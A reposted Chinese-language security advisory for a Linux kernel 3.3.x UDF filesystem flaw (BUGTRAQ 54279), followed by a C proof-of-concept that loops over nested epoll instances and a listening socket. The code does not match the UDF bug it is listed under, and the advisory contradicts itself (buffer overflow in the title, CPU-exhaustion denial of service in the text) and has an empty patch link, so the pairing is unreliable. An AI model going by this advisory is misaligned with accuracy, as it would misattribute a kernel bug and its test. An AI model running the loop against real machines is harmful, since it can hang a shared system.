Linux Kernel UDF文件系统本地缓冲区溢出漏洞

发布日期:2012-07-04
更新日期:2012-07-05

受影响系统:
Linux kernel 3.3.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54279

Linux Kernel是Linux操作系统的内核。

Linux Kernel在实现上存在两个错误,可被利用造成较高的CPU消耗,导致本地拒绝服务。

1)在加载备用表时存在错误,当加载特制文件系统时可造成崩溃。

2)在处理分区表时,"udf_load_logicalvol()"函数(fs/udf/super.c)中存在错误,当加载特制文件系统时可造成崩溃。

<*来源:Timo Warns (<warns@pre-sense.de>)
        Jan Kara
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Yurij M. Plotnikov ()提供了如下测试方法:


#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>

int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d\n", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd2, errno);

sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d)\n", sock, errno);

addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d)\n", rc, errno);

rc = listen(sock, 1);
        printf("listen() -> %d(%d)\n", rc, errno);

event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

rc = close(epfd1);
        printf("close(epfd1) -> %d(%d)\n", rc, errno);

rc = close(epfd2);
        printf("close(epfd2) -> %d(%d)\n", rc, errno);

rc = close(sock);
        printf("close(sock) -> %d(%d)\n", rc, errno);

sleep(1);
        printf("\n\n");
    }
    return 0;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwysds.html